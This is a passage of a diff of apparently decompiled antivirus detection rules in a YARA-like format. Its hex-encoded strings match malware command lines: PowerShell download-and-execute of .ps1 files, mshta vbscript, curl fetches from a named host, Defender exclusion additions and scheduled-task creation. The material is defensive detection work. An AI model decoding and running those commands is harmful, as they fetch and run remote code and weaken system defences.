6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 73 74 61 72 6f 74 68 2e 4b 46 00 0a 00 0a 00 63 00 75 00 72 00 6c 00 20 00 01 00 1e 00 6d 00 69 } //97 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_23_2 & 1)*4+(#a_46_3 & 1)*11880+(#a_00_5 & 1)*101) >=40 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_23_2 & 1)*7+(#a_00_4 & 1)*101+(#a_00_5 & 1)*97) >=40 } -rule _InfrastructureShared_26377{ +rule _InfrastructureShared_27976{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 4a 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 } //21283 + $a_00_2 = {68 00 6f 00 73 00 74 00 64 00 08 00 68 00 74 00 74 00 70 00 18 fc 08 00 2e 00 70 00 73 00 31 00 18 fc 3e 00 2d 00 2d 00 6b 00 69 00 6f 00 73 00 6b 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 6b 00 62 00 2d 00 76 00 75 00 2e 00 63 00 6f 00 6d 00 00 00 d7 c6 00 00 0c 00 0c 00 04 00 } //111 + $a_4c_3 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 73 74 61 72 6f 74 68 2e 4b 46 00 0a 00 0a 00 63 00 75 00 72 00 6c 00 20 00 01 00 1e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 62 00 69 00 74 00 73 00 2f } //8993 + $a_00_5 = {63 00 65 00 70 00 74 00 2d 00 6c 00 61 00 6e 00 67 00 75 00 61 00 67 00 65 00 3a 00 90 02 04 70 00 74 00 2d 00 42 00 52 00 90 00 01 00 2e 02 2f 00 3f 00 90 02 40 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 90 02 ff 2e 00 65 00 78 00 65 00 90 00 00 00 d7 c6 00 00 } //97 + $a_00_6 = {04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 } //22 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*111+(#a_4c_3 & 1)*8993+(#a_00_5 & 1)*97+(#a_00_6 & 1)*22) >=101 + +} +rule _InfrastructureShared_27977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -344983,7 +365703,20 @@ rule _InfrastructureShared_26377{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47) >=12 } -rule _InfrastructureShared_26378{ +rule _InfrastructureShared_27978{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 45 21 4d 54 42 00 0a 00 2b 02 2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 24 00 65 00 6e 00 76 00 3a 00 [0-30] 73 00 6c 00 65 00 65 00 70 00 } //21283 + $a_02_1 = {6d 00 6f 00 76 00 65 00 20 00 24 00 65 00 6e 00 76 00 3a 00 [0-30] 24 00 65 00 6e 00 76 00 3a 00 [0-60] 73 00 74 00 61 00 72 00 74 00 20 00 24 00 65 00 6e 00 76 00 3a 00 } //10 + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 63 00 20 00 } //1 powershell -c + $a_00_3 = {63 00 75 00 72 00 6c 00 } //1 curl + condition: + ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=22 + +} +rule _InfrastructureShared_27979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 06 00 21 " @@ -344997,7 +365730,7 @@ rule _InfrastructureShared_26378{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*17748+(#a_00_5 & 1)*114) >=41 } -rule _InfrastructureShared_26379{ +rule _InfrastructureShared_27980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -345009,7 +365742,7 @@ rule _InfrastructureShared_26379{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*114+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_26380{ +rule _InfrastructureShared_27981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -345022,7 +365755,7 @@ rule _InfrastructureShared_26380{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*79+(#a_00_4 & 1)*8) >=5 } -rule _InfrastructureShared_26381{ +rule _InfrastructureShared_27982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 07 00 21 " @@ -345031,26 +365764,51 @@ rule _InfrastructureShared_26381{ $a_00_2 = {65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 01 00 04 00 2f 00 43 00 01 00 0a 00 73 00 74 00 61 00 72 00 74 00 02 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 16 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 00 00 d7 c8 00 00 07 00 07 00 05 00 21 23 } //67 $a_3a_3 = {69 6e 33 32 2f 50 6f 77 65 73 73 65 72 65 2e 54 00 02 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 02 00 16 00 29 00 2e 00 47 00 65 00 74 00 56 00 61 } //19539 $a_00_5 = {02 00 2a 00 29 00 29 00 2e 00 45 00 6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 2e 00 49 00 6e 00 76 00 6f 00 } //101 - $a_00_6 = {28 00 01 00 18 00 2e 00 4f 00 70 00 65 00 6e 00 53 00 75 00 62 00 4b 00 65 00 79 00 28 00 01 00 1c 00 67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 20 00 2d 00 50 00 61 00 74 00 68 00 00 00 d7 ca 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 62 74 73 65 2e 5a } //107 + $a_00_6 = {28 00 01 00 18 00 2e 00 4f 00 70 00 65 00 6e 00 53 00 75 00 62 00 4b 00 65 00 79 00 28 00 01 00 1c 00 67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 20 00 2d 00 50 00 61 00 74 00 68 00 00 00 d7 c8 00 00 64 00 64 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 } //107 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_3a_3 & 1)*19539+(#a_00_5 & 1)*101+(#a_00_6 & 1)*107) >=8 } -rule _InfrastructureShared_26382{ +rule _InfrastructureShared_27983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 50 6f 77 65 73 73 65 72 65 2e 54 00 02 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 02 00 16 00 29 00 2e 00 47 00 65 00 74 00 56 00 61 00 6c 00 75 00 } //21283 $a_00_1 = {02 00 2a 00 29 00 29 00 2e 00 45 00 6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 2e 00 49 00 6e 00 76 00 6f 00 } //101 - $a_00_2 = {28 00 01 00 18 00 2e 00 4f 00 70 00 65 00 6e 00 53 00 75 00 62 00 4b 00 65 00 79 00 28 00 01 00 1c 00 67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 20 00 2d 00 50 00 61 00 74 00 68 00 00 00 d7 ca 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 62 74 73 65 2e 5a } //107 - $a_42_3 = {01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 22 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 28 00 01 00 1a 00 63 00 72 00 65 00 61 00 74 00 65 00 6f 00 62 00 6a 00 65 00 63 00 74 00 28 00 01 00 } //19745 - $a_00_4 = {53 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 29 00 2e 00 72 00 75 00 6e 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 cb 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 62 70 61 6e 75 2e 43 00 01 00 22 00 } //26 + $a_00_2 = {28 00 01 00 18 00 2e 00 4f 00 70 00 65 00 6e 00 53 00 75 00 62 00 4b 00 65 00 79 00 28 00 01 00 1c 00 67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 20 00 2d 00 50 00 61 00 74 00 68 00 00 00 d7 c8 00 00 64 00 64 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 } //107 + $a_46_3 = {4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 4c 00 4c 00 20 00 2d 00 77 00 90 02 0f 4d 00 90 00 64 00 27 02 50 00 6f 00 57 00 65 00 52 00 73 00 48 00 65 00 4c 00 6c 00 20 } //17454 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*107+(#a_42_3 & 1)*19745+(#a_00_4 & 1)*26) >=7 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*107+(#a_46_3 & 1)*17454) >=7 } -rule _InfrastructureShared_26383{ +rule _InfrastructureShared_27984{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 46 21 4d 54 42 00 64 00 21 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 4c 00 4c 00 20 00 2d 00 77 00 90 02 0f 4d 00 90 00 64 00 27 02 50 00 6f 00 57 } //21283 + $a_00_2 = {65 00 4c 00 6c 00 20 00 2d 00 77 00 90 02 0f 2d 00 63 00 20 00 63 00 90 00 9c ff 48 00 66 00 38 00 36 00 32 00 62 00 37 00 65 00 39 00 2d 00 36 00 39 00 63 00 66 00 2d 00 34 00 37 00 30 00 61 00 2d 00 62 00 30 00 37 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115) >=100 + +} +rule _InfrastructureShared_27985{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,7e 00 7e 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 52 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 2e 00 67 00 65 00 74 00 53 00 54 00 72 00 49 00 6e 00 67 00 } //21283 + $a_00_1 = {0a 00 16 00 2e 00 67 00 65 00 74 00 62 00 59 00 54 00 65 00 53 00 28 00 24 00 05 00 15 02 63 00 3a 00 5c 00 } //40 + $a_2e_2 = {64 00 6f 00 63 00 78 00 90 00 05 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 70 00 64 00 66 00 90 00 05 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 00 01 00 06 00 20 00 23 00 20 00 00 00 d7 ca 00 00 07 00 07 00 07 00 21 23 } //656 + $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 62 74 73 65 2e 5a 21 4d 54 42 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 22 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 28 } //17748 + $a_00_5 = {65 00 61 00 74 00 65 00 6f 00 62 00 6a 00 65 00 63 00 74 00 28 00 01 00 1a 00 77 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 29 00 2e 00 72 00 75 00 6e 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 cb 00 00 03 00 03 00 03 00 } //99 + $a_4c_6 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 62 70 61 6e 75 2e 43 00 01 00 22 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 01 00 33 } //8993 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*40+(#a_2e_2 & 1)*656+(#a_3a_3 & 1)*17748+(#a_00_5 & 1)*99+(#a_4c_6 & 1)*8993) >=126 + +} +rule _InfrastructureShared_27986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " @@ -345064,18 +365822,75 @@ rule _InfrastructureShared_26383{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_3 & 1)*114+(#a_00_4 & 1)*67+(#a_00_6 & 1)*100) >=7 } -rule _InfrastructureShared_26384{ +rule _InfrastructureShared_27987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 62 70 61 6e 75 2e 43 00 01 00 22 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 01 00 33 02 2d 00 65 00 78 00 63 00 6c 00 75 } //16675 - $a_00_2 = {65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 90 02 02 65 00 78 00 65 00 90 00 01 00 45 02 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 90 02 10 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 90 00 00 00 d7 ce 00 00 } //111 + $a_00_2 = {65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 90 02 02 65 00 78 00 65 00 90 00 01 00 45 02 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 90 02 10 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 90 00 00 00 d7 cb 00 00 } //111 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_26385{ +rule _InfrastructureShared_27988{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 74 65 77 62 6f 6c 6f 00 01 00 62 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 6f 00 2e 00 70 00 69 00 70 00 65 } //21283 + $a_00_2 = {6d 00 65 00 64 00 70 00 69 00 70 00 65 00 63 00 6c 00 69 00 65 00 6e 00 74 00 73 00 74 00 72 00 65 00 61 00 6d 00 28 00 01 00 14 00 2e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 28 00 29 00 01 00 0e 00 2e 00 77 00 72 00 69 00 74 00 65 00 28 00 f6 ff 12 00 74 00 63 00 70 00 6b 00 67 00 65 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110) >=3 + +} +rule _InfrastructureShared_27989{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 41 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 3a 00 5b 00 45 00 6e 00 76 00 69 } //21283 + $a_00_2 = {65 00 6e 00 74 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 46 00 6f 00 6c 00 64 00 65 00 72 00 50 00 61 00 74 00 68 00 28 00 0a 00 1e 00 75 00 72 00 6f 00 69 00 6e 00 2d 00 50 00 2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 01 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 cc 00 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110) >=121 + +} +rule _InfrastructureShared_27990{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 41 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 14 00 2d 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 73 } //21283 + $a_00_3 = {0a 00 20 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 3d 02 } //88 + $a_00_4 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 90 02 10 2e 00 90 02 10 2f 00 90 02 20 2e 00 70 00 73 00 31 00 90 00 00 00 d7 cc 00 00 90 01 90 01 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 59 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 } //104 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*88+(#a_00_4 & 1)*104) >=41 + +} +rule _InfrastructureShared_27991{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 59 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 3c 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 } //21283 + $a_00_1 = {6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 64 00 24 00 5b 00 72 00 65 00 67 00 65 00 78 00 5d 00 3a 00 3a 00 4d 00 61 00 74 00 63 00 68 00 65 00 73 00 28 00 24 00 64 00 1c 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 50 00 72 } //91 + $a_00_3 = {74 00 00 00 d7 cd 00 00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6c 6f 77 47 61 6d 62 6c 65 72 2e 44 21 64 68 61 00 0a 00 18 01 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 0a 00 64 01 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 } //117 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*91+(#a_00_3 & 1)*117) >=400 + +} +rule _InfrastructureShared_27992{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6c 6f 77 47 61 6d 62 6c 65 72 2e 44 21 64 68 61 00 0a 00 18 01 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 0a 00 64 01 2f 00 63 00 72 00 65 00 61 00 74 00 65 } //21283 + $a_00_2 = {20 00 41 00 6e 00 69 00 6d 00 61 00 6c 00 53 00 6f 00 66 00 74 00 55 00 70 00 64 00 61 00 74 00 65 00 5c 00 41 00 6e 00 69 00 6d 00 61 00 6c 00 53 00 6f 00 66 00 74 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 20 00 2f 00 74 00 72 00 0a 00 18 01 2f 00 73 00 63 00 20 00 6f 00 6e 00 63 00 65 00 20 00 2f 00 73 00 74 00 00 00 d7 ce } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116) >=30 + +} +rule _InfrastructureShared_27993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -345086,7 +365901,19 @@ rule _InfrastructureShared_26385{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_26386{ +rule _InfrastructureShared_27994{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 43 21 64 68 61 00 03 00 10 00 5c 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 01 00 40 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 44 00 } //21283 + $a_00_1 = {69 00 63 00 65 00 73 00 46 00 6c 00 6f 00 77 00 5c 00 50 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 01 00 46 00 43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 46 00 6c 00 6f 00 77 00 2e 00 64 00 6c 00 6c 00 00 00 d7 ce 00 00 } //101 + $a_00_2 = {05 00 21 23 54 } //5 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*5) >=5 + +} +rule _InfrastructureShared_27995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -345099,7 +365926,20 @@ rule _InfrastructureShared_26386{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1) >=5 } -rule _InfrastructureShared_26387{ +rule _InfrastructureShared_27996{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 49 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 20 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 } //21283 + $a_00_1 = {65 00 6d 00 70 00 25 00 2f 00 01 00 3a 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 01 00 24 00 63 00 75 00 72 00 6c 00 } //37 + $a_00_2 = {4c 00 20 00 2d 00 6f 00 20 00 25 00 54 00 65 00 6d 00 70 00 25 00 2f 00 00 00 d7 cf 00 00 6f 00 6f 00 0a 00 21 23 41 4c 46 3a 48 61 63 } //32 + $a_6f_3 = {3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 57 69 6d 54 77 65 61 6b 2e 42 00 01 00 08 00 20 00 2f 00 63 00 20 00 01 00 08 00 20 00 2f 00 6f 00 20 00 01 00 08 00 20 00 2f 00 72 00 20 00 01 00 08 00 20 00 2f 00 6c 00 20 00 01 00 08 00 20 00 2f 00 70 00 20 00 01 00 08 00 20 00 2f 00 6e 00 20 00 01 00 08 00 20 00 2f 00 64 00 20 00 0a 00 } //21611 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*37+(#a_00_2 & 1)*32+(#a_6f_3 & 1)*21611) >=111 + +} +rule _InfrastructureShared_27997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 0a 00 21 " @@ -345111,12 +365951,36 @@ rule _InfrastructureShared_26387{ $a_00_5 = {77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2d 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 } //10 windows-defender $a_00_6 = {74 00 77 00 65 00 61 00 6b 00 } //100 tweak $a_00_7 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 5f 00 77 00 69 00 6d 00 } //100 install_wim - $a_d1_8 = {00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 69 6e 61 72 79 50 72 6f 78 79 45 78 65 52 75 6e 44 6c 6c 33 32 2e 42 00 03 00 99 02 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 04 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 90 02 24 5c 00 66 00 69 00 6c 00 65 00 73 00 5c 00 90 02 64 2e 00 64 00 6c 00 6c 00 20 00 77 00 72 00 69 00 74 00 65 00 54 00 6f 00 54 00 65 00 6d 00 70 00 46 00 69 00 6c 00 65 00 90 00 00 00 d7 d1 00 00 04 } //0 + $a_d0_8 = {00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 49 21 4d 54 42 00 01 00 58 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 28 00 5b 00 62 00 79 00 74 00 65 00 5b 00 5d 00 5d 00 24 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 1a 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 01 00 08 00 2e 00 6a 00 70 00 67 00 00 00 d7 d0 00 00 82 00 } //0 + $a_00_9 = {21 23 53 4c } //130 !#SL condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*10+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_d1_8 & 1)*0) >=111 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*10+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_d0_8 & 1)*0+(#a_00_9 & 1)*130) >=111 } -rule _InfrastructureShared_26388{ +rule _InfrastructureShared_27998{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 